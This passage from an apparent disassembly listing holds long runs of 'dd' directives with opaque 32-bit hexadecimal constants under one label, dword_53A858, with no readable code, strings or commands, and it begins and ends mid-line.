0EDABAEE1h, 145B00C2h dd 0C8650246h, 551E47E2h, 0F2047D3Ah, 2CC40E11h, 960A888h dd 0CECB66DFh, 726A68A1h, 0AB3530FBh, 49F0980Dh, 0EF089Bh dd 0FB4A8C21h, 703CE00Ah, 0EB620D0Bh, 7A130030h, 9848C133h dd 2F6E074h, 1D699636h, 0D503934Ah, 0E85DB709h, 0BFB3C850h dd 74BD5824h, 0D969189Dh, 0BA00B266h, 19E37084h, 541B1DDFh dd 30D4E417h, 8E2962D5h, 5CFEB603h, 0C4252000h, 4CEC3FA3h dd 2A57B47h, 148628E2h, 608A70AFh, 32DE05ACh, 0B6E48303h dd 0CAFF00ECh, 9168F90Ah, 0EFA23A08h, 1E2C1F4Ch, 3208D44h dd 1571B5ABh, 0D800ADBEh, 3A1A48D4h, 18B33350h, 0A8B8E211h dd 862A3907h, 0E8F2ECCCh, 84C80528h, 3258EB01h, 791201A0h dd 5E8F20BFh, 695E6C8Ch, 9C3C220h, 0A8B72630h, 7AAC88h dd 49443947h, 9629F179h, 3A9CC949h, 29B03009h, 0D53193h dd 0DC94832Ah, 0F1B44C5Fh, 0DD3D3B01h, 0AE229756h, 0B9FC1C60h dd 49758108h, 0D47633FAh, 0D20091B2h, 90AD31A5h, 5958DEh dd 7397CFEFh, 67FC24B3h, 9B72CB02h, 80B708E7h, 0A61D4998h dd 1814B24Bh, 18DFF0EEh, 0B600FB12h, 0FC5F8762h, 0E022773Bh dd 0C949004Dh, 0B5FF4AA2h, 0F4AB68D5h, 0E79D2AE0h, 3E396C3Bh dd 3C4C0014h, 8116C83Dh, 0A65B50C6h, 0F8E89205h, 0C7701B0h dd 7833656h, 958050B6h, 846008B7h, 78686099h, 6BEF00E4h dd 0B04ABB72h, 500A146h, 0D41365B6h, 12CDC53Bh, 41AE3109h dd 5B83ACD8h, 651BAAFh, 0A826C0BDh, 97A53D11h, 666F1481h dd 0ED526DE6h, 0F4BFF0F1h, 0FE2CDE00h, 0DAEE8DC5h, 0B0E00097h dd 297F1E79h, 0ED74FC10h, 9646900h, 0A045A446h, 0A499E77Dh dd 811608E5h, 0A49EE221h, 4CF193CEh, 8B9ECC0h, 30014484h dd 1544E91Dh, 2483B3D2h, 4867A8BAh, 84B7000Ah, 7C6B9B0Bh dd 0EB7BFB3Bh, 0DB97DE00h, 621F7E8Fh, 0E01CE4AFh, 42D1072Fh dd 8C8129E9h, 96006908h, 33735154h, 75246C9Fh, 60C7319Bh dd 0ECA09A48h, 5883DFB3h, 3130CC31h, 3A2D5091h, 0C8E7FB0Fh dd 4A3F03CAh, 5C680E32h, 3898FF27h, 0A2305FEAh, 2D581819h dd 694A03F0h, 4B549B65h, 0A9AA6800h, 60E5FCF9h, 6DD10046h dd 0C2544A3h, 0A50E0F0Eh, 20AF0B2Bh, 12C085DCh, 5EDE000Ah dd 0BAE7EAFCh, 2333CF6h, 0E9DD08B1h, 0FC0979Fh, 1D501C2Bh dd 306D9FD2h, 7248528h, 0A0404400h, 0EE069E17h, 0AEC00F9h dd 2D74EAD1h, 9600688Dh, 0AE706083h, 6C7D76h, 0C9E4875Dh dd 2802D646h, 7F4D69C0h, 7362A7Bh, 10554345h, 0AB65A066h dd 970114BAh, 0AA6A7205h, 30BDFF91h, 0B9C10780h, 99BE0EABh dd 9C00C4FAh, 0E6EF3A7Eh, 0C954ADh, 8760BB30h, 0F33195DFh dd 0BA83C803h, 0D80444h, 0B01CBDE9h, 530662DBh, 0BA5A683Dh dd 21D2304Ah, 0B0649Fh, 15060C30h, 0FC1A9A40h, 0DBBC22h dd 5A77BD63h, 48FA47Ah, 8419D160h, 53195Ch, 7C475D1Bh dd 40929A81h, 0F3605400h, 0A1C14CD5h, 2D052A6Ch, 0F5760380h dd 90F9AA48h, 0A202B8C8h, 67181F00h, 0D9E2B4A8h, 7ADE2497h dd 34830031h, 13F10628h, 8F05197Ah, 661763DDh, 2800CC56h dd 79E48C77h, 0A1EBA0D5h, 0CF1BE8D6h, 77C02521h, 0E0414C0Dh dd 7D0A7800h, 2BC593Bh, 0AE91D626h, 0F1743F00h, 1D08AAB3h dd 9C6F1342h, 961F00BCh, 0C8A34BB5h, 0C8FB912Ah, 68AF0200h dd 0D198A7D0h, 5D310274h, 32F35F07h, 0E7FC62E0h, 8F3B9CA4h dd 5DC9860h, 1DDD11h, 30381076h, 0ACE4681Fh, 0FB59F461h dd 2980DAE6h, 0BC951AEEh, 8F0B4622h, 99E375h, 0E2367A37h dd 91D607A8h, 86E43CE9h, 9806417Fh, 0EF928F3Dh, 0DA560011h dd 0B97E1C18h, 7533B6C1h, 480829h, 18D23421h, 0CC9AE6CBh dd 0A6051A00h, 0D7EEAE7Dh, 481F728Dh, 1EC05CDCh, 2FCE9961h dd 0A87DC101h, 0C358FDA1h, 914BBF8h, 961A595Ch, 8CFB8404h dd 18147D1Ch, 0C0B8F7FCh, 7A55B8CEh, 0B559003Ah, 35FFD857h dd 52712F97h, 921F893Eh, 6815CCF0h, 0E4A050ACh, 0FB6CAE50h dd 3150F778h, 0D5488808h, 9A0C90B4h, 1DF09828h, 0E75A0141h dd 23C06F27h, 9338816Bh, 0E3048062h, 0DF2EB180h, 6B7FB843h dd 0F9D13838h, 2A9C7750h, 188BB0A1h, 601808DEh, 4EC4D97Eh dd 18D63040h, 8300B0D1h, 0EF8F5176h, 50E11AF5h, 50968C0Dh dd 8BEAE0DCh, 0E26035C0h, 5E669500h, 0DE0FF411h, 0D7EF0C10h dd 0DAC9B705h, 92A68D00h, 0E1C83B31h, 8336639h, 0F9012122h dd 6E01A945h, 0BED088B1h, 7AE00577h, 30681DCEh, 18E1E888h dd 627FFDF6h, 0E7A09E02h, 97C695E4h, 80031174h, 0BD58D360h dd 0A88212AFh, 345007ABh, 8E271062h, 1E486ADDh, 7795C4DCh dd 0D8148FC5h, 801FC8DCh, 0EF778DFCh, 0F4008A55h, 81F57C24h dd 0A7A0196h, 8E3D991Eh, 18DB4050h, 91467E1Dh, 0D3EEFA22h dd 77E01802h, 89CA8EE8h, 40900484h, 0DFB06060h, 4A666210h dd 9B9ED5C8h, 0B6DDAF80h, 4078BC61h, 0DF44E6F2h, 5DE9005Ah dd 77FE2F53h, 736C7A52h, 8C3F68A0h, 0DEB01F02h, 19531E62h dd 679810D6h, 389000AFh, 0AA1C2E7Ah, 7C05A7B5h, 716A2B4Eh dd 35DC9040h, 43AE8Dh, 67614DAh, 6A9612F2h, 0F0A85A7Eh dd 1563702Bh, 0C80F31h, 61929D61h, 0B6432017h, 24E5B400h dd 0AA233908h, 75691FBAh, 39E5B955h, 0C0249B3Ch, 9E230C93h dd 7DCF405Eh, 772BF20Ch, 9825969h, 0DCD2EC33h, 0E8FC4D00h dd 40D5B979h, 2301C988h, 0FE50494h, 8FD9A461h, 3E739C0h dd 350460B8h, 0B502629Eh, 338C5C82h, 7E1B1898h, 1228146h dd 18D53300h, 4D026637h, 14A20109h, 6AB486AFh, 0DD918160h dd 0C4042285h, 0D1C8884Fh, 407D23C0h, 3D9C0597h, 0EAFBF5h dd 0EB705D20h, 750660DCh, 2E02DDE7h, 4DF70079h, 939DED30h dd 0B9047DACh, 5EF389D0h, 42D3809Bh, 0C30732A8h, 11F83C69h dd 0CC50631Dh, 0D6488F0h, 916F6A99h, 8F8BF089h, 6079E091h dd 5C002918h, 0EB214FFBh, 0A009AF06h, 0DA919E8h, 879CACD8h dd 14F0F188h, 0A04C49F8h, 2C4E938h, 9889B367h, 0BA88AB0h dd 0C00109B1h, 5497997Ah, 5D804791h, 0CBFA63E8h, 18E17738h dd 0F6217E2Bh, 0E3602634h, 0F9467480h, 0EBFC7005h, 0DC40966h dd 60D2DCA4h, 1097A68Ch, 0C8C9A331h, 44F48021h, 341702A9h dd 3637606h, 0F99161Eh, 0C4BD8350h, 27A03E8Bh, 2021DF80h dd 0F4A49A01h, 57BF4582h, 50CFF9C4h, 8C69D8E8h, 8E779204h dd 1862A9E4h, 778A2720h, 0FC7449B5h, 61C04588h, 2162D4B0h dd 0D0914A6Eh, 0AF699A00h, 0F4D51FACh, 60788103h, 0E0046Ah dd 4B1D9F21h, 0AA2B45AEh, 8777FA39h, 91F2CE98h, 4980A42Ah dd 6AF3748Bh, 1B920010h, 999620D6h, 31E87871h, 7D1498B8h dd 356C692Ah, 54CC56BCh, 956F0231h, 7B9B4EF0h, 18D3C491h dd 50A96541h, 0DEC4629Bh, 0A990F527h, 7CFC0F29h, 0EB667B87h dd 6574B88Ch, 7F05DC79h, 0ABD20AFh, 0FCE9A80h, 0A8A9001Ah dd 7EA37AE2h, 683BFB8Ah, 7B2A8CB9h, 486D3917h, 9186F066h dd 0A600F9F3h, 0CD99659Ch dword_53A858 dd 25B73E41h, 50A104B8h, 0FCF14B20h, 7C009C0Bh, 0B7CB3AFCh dd 501907E8h, 0FAA72C1Eh, 99E200C8h, 38066EB2h, 54002FE5h dd 403AE7EBh, 3B87EC2Eh, 885027D8h, 88028CD6h, 433193A6h dd 102319C8h, 3A940F8h, 0BE4BC6BCh, 191439E4h, 0C0F019BAh dd 917046E3h, 0B14E010Fh, 48E93AEEh, 4324209Bh, 0B01B028Ch dd 533E62DAh, 9C10CF19h, 5109B063h, 111DE1D5h, 89206080h dd 0D35E009Bh, 29AE5749h, 4A004E35h, 1404B44Fh, 601D95C8h dd 0C0203164h, 5A01AEA4h, 0D8AC6E54h, 0C8220F7Ah, 873025F2h dd 0E44B0FDh, 35958060h, 22E8A0D4h, 2674008Ch, 0B95E3250h dd 0E55CC82Ah, 8CDEE8ECh, 49FADA00h, 23772C6Ch, 78421E75h dd 435203B7h, 3AE8541Fh, 5E016BC4h, 0B91C6EA0h, 0B420AA29h dd 47FDF143h, 982C2980h, 97D1BCD9h, 0C9337370h, 3E080Fh dd 0D8900921h, 0C11A04BCh, 6BFB550Fh, 434C8018h, 187B57Fh dd 30E9A7E2h, 98419E4Fh, 5C212A08h, 58771BDh, 79126885h dd 0CB3180D3h, 0EE1FB515h, 61C78386h, 6491A1E0h, 1C399D2h dd 0C9EA1F38h, 0D1C57363h, 0F437F06Eh, 0A47381Bh, 0E2CDD021h dd 2E82008Bh, 80D46829h, 0BC18B18Ah, 4CB84B71h, 62607D2h dd 0EFA93AB5h, 0C79F93A0h, 107B9991h, 0D1E05D00h, 0B8D6A5BEh dd 9DA34C02h, 15C9440Bh, 0FCAA3D81h, 47A344B6h, 0B02F1784h dd 57DFE5DEh, 9DF55E00h, 4E13FB74h, 32280387h, 4F6CBFFDh dd 33EC3100h, 1E5F1C6Fh, 76D30373h, 4B6DC3C8h, 65532101h dd 0F563A3FEh, 2EEB3FCh, 0CC3D4EC0h, 84B093D2h, 0F2181413h dd 2ED9D371h, 0AB1800FFh, 0AEC355E8h, 9E029A64h, 29744620h dd 97C980D7h, 129F0623h, 0FBD20A6Bh, 1352AC05h, 0EA6FCC40h dd 0C7B165CFh, 404B10F8h, 0CB98819Bh, 0A1EDF600h, 8785EE5Ah dd 1DC900DEh, 9B80093Fh, 7F1DD4BEh, 92075E02h, 57E0244Fh dd 7134956h, 0ECF7FABAh, 58E95653h, 0D8E87790h, 68B9D263h dd 19810021h, 0D31067EBh, 0F2B0D78Ch, 0CA53BF0Dh, 0D4DC2126h dd 0A1111E8Bh, 0E9C040C2h, 1DC712ECh, 5553EF12h, 3DA04021h dd 0F5419C40h, 34C9008Fh, 0CBAFD616h, 0DE059F4Dh, 68270E28h dd 2B0B2C00h, 0B8D5F6h, 95B1424Fh, 640183D4h, 0F84E2430h dd 0EE75975Fh, 0D44D5581h, 0CC4A6081h, 801D69E0h, 7EADDA49h dd 96D03F3h, 0EBE98253h, 0A2461C00h, 0F1C04971h, 0B32D7833h dd 0ACE400B5h, 50BCF196h, 6B0CBBEEh, 294C7104h, 0A6B1009Fh dd 86BEB3D0h, 4724E379h, 1FBA0005h, 40009919h, 342FF39Ah dd 0F7543E37h, 0F0DDBF0Ch, 0C1021E78h, 0A07DE93Ch, 7614463Eh dd 2ED400B3h, 0F3B6FAFh, 4E007079h, 46F565AAh, 714B7CFDh dd 9FED005Dh, 0B8E883CFh, 8907B612h, 14CC406Bh, 0D25DB420h dd 9108629Ch, 8CA0396Ch, 8C88EF3Ch, 0A0872E03h, 88188B9Fh dd 15B20BEh, 0C0B58119h, 0D1A9E3E2h, 0A4A0DE1Bh, 23684941h dd 7E2588h, 19B1DA51h, 0E6550B8Ch, 7222B3Bh, 3732A470h dd 0D766C3h, 0BD7BB2A0h, 24051012h, 9060D44Ch, 4C492AC0h dd 3B7F038h, 0A8F9FB64h, 222AE8A0h, 3B6B00FDh, 0C0679F6Dh dd 7D009530h, 0A1BA1AC8h, 0ECD3BE35h, 509806E5h, 0A1A4D276h dd 0A60134B0h, 0EA82FB40h, 0B841B59Ah, 40E6FC16h, 606C1074h dd 3D27794Eh, 4739A925h, 410D307Fh, 7D8336h, 1EFE07B7h dd 0C3035C2Eh, 0D2EDE100h, 7AD4BD75h, 50110F77h, 0F1C1BA3h dd 5262D3E4h, 0E4A04874h, 0DB6FC30Eh, 1830EA00h, 3F9E7613h dd 0AB39032Ch, 2E6804BBh, 0E2EEB118h, 0A5389Ch, 0C3AEAD20h dd 0AC296A69h, 51EDBD7Fh, 0D4573758h, 35612F31h, 5ADB6788h dd 0C0D5FD70h, 0D7599379h, 4E00628Fh, 729B2E49h, 0A07A04h dd 93A245B2h, 0E2F71F5Fh, 0CC90B571h, 24BD1944h, 84A86686h dd 0C898D3E9h, 89021668h, 74E72760h, 0F23320D7h, 0BA0051DFh dd 111D31F5h, 18EE7B23h, 390BA6D2h, 0B9DED405h, 4402E613h dd 80E7D57Ah, 5DDB1AC8h, 525CA071h, 0B7B60084h, 483E49C4h dd 0C70133E3h, 2345BCBh, 298141CEh, 7450ED56h, 841189DFh dd 8E5D80B8h, 0FA6A29h, 385C378h, 4A3FB9E5h, 0B127D700h dd 0EBB47B1Ah, 35CE269Fh, 720B60F8h, 9700467Ch, 6F373C18h dd 12EB9E7Eh, 0DFD5A3h, 5931C0FCh, 9C98931Bh, 25E2961Dh dd 0B0086112h, 28999F0Fh, 22D8909Ch, 242621CFh, 0F4B4898h dd 447EE155h, 1C40A7D2h, 0A047BF1Dh, 74928FE4h, 3D5A0567h dd 33C90569h, 99D09F9Ch, 0EEEE1BBCh, 0E473B80Eh, 4F740A3h dd 486F82ECh, 24034DB0h, 256B9415h, 18778100h, 0F0A7DCA6h dd 0A7F1D87h, 49077D3Ah, 2056EEC1h, 1CC053BCh, 1D431D4h dd 1525BF16h, 50226B96h, 95D4D82Dh, 0FF2BF800h, 48468D7Ah dd 3205AC68h, 81ADC2Dh, 4CA44CF4h, 492C3300h, 98CFEBB6h dd 0F10367B0h, 0E2B82198h, 3CC6FCAEh, 0A84D2200h, 0C0A7F25Eh dd 0D0BF0B4Fh, 2C0213B4h, 8661D8BAh, 0B25983D1h, 0E03AC19Ch dd 0A78016h, 0EF5EDDBh, 83A5EEDAh, 2C3F5724h, 31FE6800h dd 162C9AA6h, 206BF007h, 23E8FC00h, 74FAB07Fh, 0FE594D63h dd 7A83882Fh, 800C9121h, 93B0F913h, 0CA00A1E2h, 68889FD8h dd 3D9BFFB5h, 8B80EB14h, 0BE9387AFh, 0F4A46CDFh, 3DC5A04h dd 7E08BC41h, 0D674B486h, 99950071h, 23D980D3h, 4B00D2F3h dd 0E003C0CEh, 61BE6Fh, 9F13B7E6h, 0ECD148A1h, 17BD7D02h dd 41BFB895h, 0AD104CF4h, 382A6132h, 0ED00DC18h, 219FB4B0h dd 2AF64EB5h, 3D686E78h, 910068FBh, 8F7B301h, 4D109EB8h dd 0EA580469h, 941B6815h, 56D87825h, 96458205h, 77C037BBh dd 13D9E39h, 0ED2D59D9h, 50BA11CCh, 37A8D630h, 7C035800h dd 0E5BD20F2h, 0A2EB09B7h, 4010197h, 3034A170h, 0C49048FCh dd 5078307Eh, 8534C948h, 98400446h, 2F3328A5h, 834200ECh dd 0FBEDC76Eh, 850E4135h, 0E1BA8E9Eh, 1213CC3h, 0FC23BC71h dd 1C229858h, 2D586E79h, 5BD401C4h, 0D102EDFCh, 0B10B2432h dd 0B60C6882h, 0EC008011h, 970C100Ah, 97A4A92h, 32DA46Ch dd 56898C80h, 0FB335DDDh, 0F37B5098h, 0C9E001D5h, 7C61863Eh dd 80E42817h, 3DF4D683h, 203A0148h, 4610C91Dh, 8EA98E07h dd 0D1924017h, 0CF2FF3Fh, 2768F6EEh, 0EF0053B9h, 2E4A8597h dd 4CA063C3h, 4500445Dh, 0CDBD0B5Ch, 289171B5h, 0D38BE700h dd 2690F795h, 12996569h, 4170307Ch, 0D00B346h, 0F6126279h dd 6BBC2FCh, 6C43E001h, 4600B156h, 0A24B7535h, 0F13D44h dd 0CAD7F52Fh, 329F6BEEh, 0D5ED0E00h, 0CD27CC5h, 2C97C56h dd 9BF0C191h, 0EC8033A1h, 0DE74BED9h, 3D6979C0h, 98D27036h dd 32AC18A4h, 471BEE2Fh, 98A601Fh, 0E1EC2B04h, 6F0000B6h dd 0CDD452Ch, 300AFE08h, 9C7CA1D2h, 0B140678Ch, 0C60300BDh dd 8221AC3Fh, 4D0099C4h, 85F56664h, 1706209Ch, 14BE7A8h dd 7467FFDCh, 81221048h, 2ABA32FDh, 0C06BF46Ch, 0B749A7D0h dd 1825F790h, 1EC0048h, 2CC2B043h, 4254D002h, 685A469Eh dd 9B550100h, 57E18E81h, 0CB0229B1h, 0A5D209CCh, 83130866h dd 0BC0330EEh, 3C6C37h, 2B9CAFC9h, 0A299154Eh, 2517E200h dd 67DB18CFh, 0FEAA007Ch, 64B7E156h, 1659AD2h, 9C00B451h dd 0EA89D4BFh, 128F8AFh, 9DD7D6EDh, 20AA089Ah, 3A730C8Ch dd 3DEC7F59h, 5D58CB9h, 0D277F092h, 889802D4h, 4C11732h dd 3809151Ah, 0F04818ECh, 0B97A0066h, 0E26010FCh, 8B3A86BEh dd 961207E5h, 5F80BFF1h dd 2687F7B1h, 40246B74h, 0F3E3747h, 0F860711Ch, 0A3DEAC07h dd 51822532h, 37BA0504h, 30D0C0B6h, 280B586Bh, 1AD11BFh dd 78E964A8h, 6A189C23h, 29705458h, 72486800h, 1AF9BC27h dd 0C81B0B6h, 126B06C3h, 0D800CE81h, 2DEA724h, 2B183A3h dd 0C3BDA6B5h, 30592D90h, 7A077C07h, 0ED1CDB0h, 0B449177Eh dd 0B8302071h, 47FABAEEh, 31A92B00h, 84D6A9Eh, 3F047E07h dd 1900F984h, 3AA1EAD7h, 1C0088A4h, 0F86FC69h, 3299B54Eh dd 0B3C10640h, 6694A2C0h, 7492E48h, 9E96A2CEh, 959AB781h dd 58C9FFF4h, 0C10430E0h, 0C8D6024Bh, 883986F8h, 0A2F2003Eh dd 0F385EE51h, 0E708DD97h, 0FD473418h, 0D85EA303h, 0E07E0DD6h dd 262240F5h, 28C64D52h, 3A6D2240h, 7E7DD639h, 11AD8700h dd 21782C64h, 0FE8F0193h, 840B61A9h, 1EE06247h, 7D8325B9h dd 0A069E21Ah, 1E9A9901h, 7FAF1752h, 594A8D1Bh, 60A10CD8h dd 2A565327h, 86003C60h, 9FEA5D26h, 0CC42F31Fh, 8E284080h dd 0ABCDFED2h, 0E39CF864h, 0FBA63D45h, 87867500h, 0E0673A31h dd 30F88532h, 0D83C61C7h, 90793060h, 0B7930288h, 681D4CA4h dd 830084E4h, 1794F467h, 0ED8AACh, 0C8E42DCBh, 0C0E98F96h dd 53A7DF09h, 0C58019CAh, 90E24C20h, 0D1ED096Ch, 4803CF7Ch dd 0BC02EC33h, 469210C7h, 0C98CA002h, 1C5E8DE4h, 4B5CEFAEh dd 0DF018331h, 61B2152Ch, 28A842DCh, 0CDA110h, 79787AE0h dd 6F704982h, 7F360F0Eh, 261BA2A2h, 6EFCE09Dh, 0AEF6043Dh dd 0A2D3E946h, 0B43C38h, 771D25E1h, 7CED8C0h, 0D452659Dh dd 16D1808Bh, 6F25B7A5h, 0A71CA067h, 0F82AEE0Fh, 5C6D001Bh dd 159FE304h, 53B87F4h, 83B200B0h, 47E0564Fh, 8469C00Ch dd 1A207BA3h, 4278FD0Ah, 0ECAC8C72h, 1D001448h, 1A90548Ch dd 3EFC4C10h, 47A8204Bh, 3400F5B7h, 36E4B81Eh, 2161992h dd 0BD8B6AC3h, 0F520DF71h, 530AB3h, 6CD34D14h, 8CA1E8Dh dd 0EF80D41Ch, 893D20C9h, 526C00C2h, 0A82469ECh, 0A01EE9A8h dd 2DDB84E4h, 0DDC0CBA7h, 0A424BAA2h, 5B60F47Bh, 17615963h dd 3E8A6E9h, 0D074EF89h, 0CB9D810Eh, 5AECC7BDh, 850173D0h dd 5C3500B6h, 9CD8DEAEh, 0E098BC4Bh, 516CE211h, 0A9E026h dd 0B120A0B5h, 6B5C755Bh, 94F78040h, 6B725CFh, 3056182Fh dd 483740B2h, 0DFA49C13h, 22273C82h, 90718A24h, 3EB41594h dd 2099251Bh, 4A50A130h, 0BB35009Ch, 0E482EB78h, 4F07EAD2h dd 0D105750Ch, 0D02685Ah, 5A6B0156h, 0E3100048h, 14038651h dd 0F6124213h, 0B090745Fh, 0A16B67h, 0DD9D7117h, 0BC6F58Eh dd 0BDF2A600h, 0B72FBC3Eh, 58E2E287h, 744400B2h, 941F009Ah dd 791E5B7Eh, 53E44EBCh, 4359C160h, 12451117h, 26559FD2h dd 1600E060h, 1E2F6BD4h, 98E1E329h, 0FE1CA6A0h, 0F54E00F0h dd 76708BC4h, 1A245381h, 0CD13C4F1h, 0DD1C88h, 8CBDDFB6h dd 25071BEFh, 30BC5F00h, 64122BE3h, 190C006Eh, 0FD8F18C9h dd 404CE8B1h, 0FE5C9F68h, 0D903600h, 2FB3E12h, 0D1A2F06Bh dd 304468EFh, 2ED25300h, 1ADFB319h, 42AE0298h, 8D22DA62h dd 0FF8F063h, 0C5013920h, 0F24AA2EBh, 0C8609686h, 7B9D01A3h dd 0E11417BDh, 7E082D47h, 0D0F59400h, 914EC9DCh, 6177911h dd 8EECCEFEh, 8D74380Dh, 0B9EE2F00h, 0BEFA74CDh, 0ECBD5CDAh dd 0F3C8B8C0h, 248B52Dh, 0B7181314h, 0A10FEC30h, 8B96005Bh dd 0DE821AD0h, 0AF010477h, 0F824AD22h, 0CC6C9111h, 0FB3C7480h dd 0BB004A78h, 7A1D2425h, 212B1E6h, 0A0B615AEh, 1471CD53h dd 5D731D01h, 0B8688025h, 0F0B184DCh, 212CC0EDh, 30B84261h dd 0ECCA6B24h, 6C4E8203h, 76310037h, 3E2745FFh, 0E97F3F9Fh dd 0B95C7100h, 0FD163537h, 0DB6630D6h, 13BE8AD8h, 25A1C705h dd 38024C98h, 465D1756h, 8D800F60h, 1A175FAh, 2EDBEAA8h dd 6CD44F0h, 0EDF85E40h, 6109904Dh, 0C40379EEh, 4720000Ch dd 5FB0551Bh, 0AA3821A4h, 69E60917h, 0F8E84B67h, 0AC08D9h dd 0B9C7315Fh, 1DB711C5h, 23CD0B0Bh, 19DE8043h, 30E34861h dd 5BA91840h, 3300F794h, 0D213F1B3h, 12C2FFA3h, 0AFC14BCh dd 0CF0B4A4h, 4FD08C56h, 0CAD1025h, 7CE810B0h, 0C32B8B5h dd 0BE6E9EB3h, 0FD261DC0h, 58265F2Bh, 57B47140h, 989EAEFh dd 0E511FA35h, 0D2DB9084h, 24E3ED58h, 0BD7C40FCh, 0F49A5512h dd 4F0805CEh, 28F9973h, 59B764DCh, 6357C8C1h, 21BB0FA0h dd 4AC01CDBh, 30D8B2A1h, 0F47474E0h, 0A76C24CCh, 8B046F3Ch dd 4EBE800Fh, 1200D39Fh, 0BEF059BFh, 2ED80467h, 49C3Eh dd 0B3DF9592h, 0B50071C9h, 9E0AC738h, 3DAF98C6h, 88FFAD0Eh dd 0B8009D60h, 0C7F27B51h, 965CBE0Bh, 46EEC190h, 0C49C40AEh dd 39C35753h, 0AE6C4243h, 7B00199h, 0D44A38ECh, 0AC82F69Eh dd 5859B533h, 2348AA00h, 9E26D3h, 0D4053B58h, 6CCCFCBh dd 0E5104704h, 54B26652h, 0AD22600h, 0DDA9D5B3h, 47989A08h dd 0F32B8019h, 0D69F362Fh, 7ADE3401h, 0B162A0AAh, 809C2078h dd 9A8A9540h, 7201D4B6h, 0FA517BEh, 61E01E86h, 3B9F02ECh dd 0E789A4F6h, 0FD128CE6h, 1CDAE926h, 0D89DD317h, 0E483844h dd 1D2218h, 781180CBh, 0C003E1CEh, 0C2154A06h, 2305A2Bh dd 6187CB7Ah, 0D86499D2h, 65A30513h, 32D088h, 6AC2C5ACh dd 0D382407Dh, 0FDC01D00h, 5B2461F8h, 6BFC2490h, 0F4B04050h dd 4F01A6C9h, 46634B15h, 0D302C59h, 9AE28Fh, 9833D480h dd 0E8A3EBB6h, 4C301F58h, 0F6EDC05Ch, 0FA94FB78h, 0A013F829h dd 5E7C0FAh, 0B8E6F17Ah, 0A024E46Dh, 0FA762400h, 62F6153h dd 416200C6h, 0BEFEDC88h, 9A381778h, 0C7FCD8B7h, 6763C4FBh dd 7BCF0A0h, 0AF240736h, 978E5FA7h, 82B485A3h, 60FAC358h dd 0DF2FD702h, 78682CEFh, 4964B668h, 4E893780h, 300DA37h dd 3572E433h, 0F091C75Fh, 0D2481226h, 0EAE4D193h, 5B2ED8A6h dd 0A15E647Ch, 0C7054044h, 19E354F4h, 61586DBFh, 0F03D2113h dd 0EC1D635Dh, 4A401AA4h, 0BEE661C6h, 0AD0A0916h, 9498D425h dd 1D0D39C0h, 0C1296B42h, 0B78AC0h, 2ABC3DDBh, 58DD873Fh dd 0B429720Fh, 0DAD460DFh, 0C02F6804h, 0AC2AB531h, 0D30730A0h dd 69CFE0FAh, 950CDF60h, 18F14C9Fh, 60018A39h, 0BFDBC0AEh dd 28B04CB5h, 756454Ch, 0E99BFB29h, 60A0F4E0h, 0AEC70092h dd 0B4B6D603h, 540B6ECCh, 0B3949EEFh, 1EC13878h, 38ADC33Ch dd 89255C80h, 0A438C186h, 0D4240C2Ah, 31EC3150h, 8A501744h dd 87703C9Eh, 3A50A0CBh, 8BE9F8h, 4DEC86F9h, 0B8AC5105h dd 4808694Ch, 0E0067FECh, 0E38C1525h, 90610FD8h, 0D383B4B0h dd 9007C60Ch, 47B59D3Fh, 0C3881019h, 765C0F6Dh, 22AB7AEh dd 4F7807C6h, 1229C0D5h, 982C646Ah, 0BF80D4B8h, 57486D4h dd 0D2F912A9h, 0EFB4209Dh, 0DE00C1E9h, 6160D06Eh, 0E7E9B05h dd 0EAD9659Fh, 1D4CC282h, 0EF00C859h, 909D39E6h, 0E3FF0788h dd 206437A5h, 25991647h, 0C47F1D24h, 4863DD61h, 3674D8h dd 90D6B7BAh, 5047C9D0h, 78D20226h, 0F7E5E033h, 1600805Ah dd 30985D5Eh, 9E00A7Bh, 8A8CFC08h, 1EDC9E5Ch, 34A20B06h dd 391EC898h, 0AE8BF907h, 68A0C93Ah, 1672A112h, 14EF2B78h dd 8A83EC4Ch, 0BBDDC9E8h, 80A290C3h, 0C4E0618Eh, 88687E60h dd 840E7B58h, 0E02C8A8Bh, 6E36800Ah, 7C2507CCh, 0A2987E91h dd 60C0F7A9h, 0B303573Fh, 11CC5DB6h, 98D658CBh, 5A3DC080h dd 2B03DBB0h, 0EF91A215h dd 36F00B0Dh, 200954FFh, 8DD42863h, 0A23DF01Ch, 0EB7AB400h dd 4F792EE4h, 15E5F053h, 0C471467Eh, 9ECE250Fh, 0FD83B7A0h dd 2007BEA2h, 0EEA5D966h, 61ED436Fh, 5A6DEAFAh, 5B941EC8h dd 6B41478Dh, 9D55C09Eh, 60073E9h, 1E1CBE9Ah, 1EBB534h dd 0D5C3F5A1h, 0E89F6C71h, 9E1647EFh, 0C009093Dh, 664C89B3h dd 198B12B0h, 103402AEh, 8C448F24h, 420034B0h, 31C0FC97h dd 80C823h, 7ACFB256h, 9B337FD5h, 71578E14h, 2EDD8398h dd 0F8A59B62h, 161ECFEAh, 303F799Fh, 91115124h, 89327B3Dh dd 0E84712CFh, 0DF3A1474h, 7D039F0Ch, 0BB53D903h, 6CBF02B5h dd 464A9061h, 4FB88842h, 0D0DE049h, 60B2003Fh, 7CB93A65h dd 8D0B9395h, 0C0DAAF23h, 2CBF6728h, 200AC1Eh, 225D0A62h dd 740044F1h, 0EAA476FEh, 0D7280E94h, 0BD00CA42h, 0BAA5B9FAh dd 0B44C1A00h, 0D3C96486h, 7C9226D5h, 7B4E1120h, 77136073h dd 400C6CBh, 0D5B8E386h, 4CDF4C84h, 14904C22h, 5B6E90A0h dd 656870E9h, 4314CC4Ch, 0D7200190h, 0DD6C87EAh, 8B80DC78h dd 0CB3880CFh, 9490474Ah, 0F29E9AEAh, 98E40432h, 0ACF769B7h dd 96FC80B8h, 0E5B9A52h, 37CB51F3h, 0EC463880h, 0EB05D46Fh dd 0C8532E3Ah, 1BC99002h, 5764419Eh, 9FEC422Ah, 5A07D431h dd 71ECEC3h, 0B9CC9E19h, 0ECDFE079h, 1F8898D3h, 0BBEE1D5Ch dd 0B9E9CF53h, 33192680h, 0C74802BFh, 0A6D28210h, 24608A55h dd 1800502Eh, 0E2A1113Ah, 0DC12456h, 72701B0h, 1BBCFD3h dd 7088B216h, 679670A7h, 7D6888D0h, 90490044h, 0B552BA9h dd 0D3014CB5h, 0B7CD32FEh, 4C6269E9h, 0B3C19400h, 2D73A6ECh dd 86903500h, 1A0F544h, 0A18E0455h, 0A8C153C5h, 30838BC8h dd 5C17E82Ch, 0DC0340Fh, 0A4A0D872h, 6E908E00h, 1B9D76FDh dd 0E71204B4h, 0F195805Fh, 8202F00h, 0E08BF447h, 0B12F76ACh dd 113880D4h, 6E29C292h, 465BFA01h, 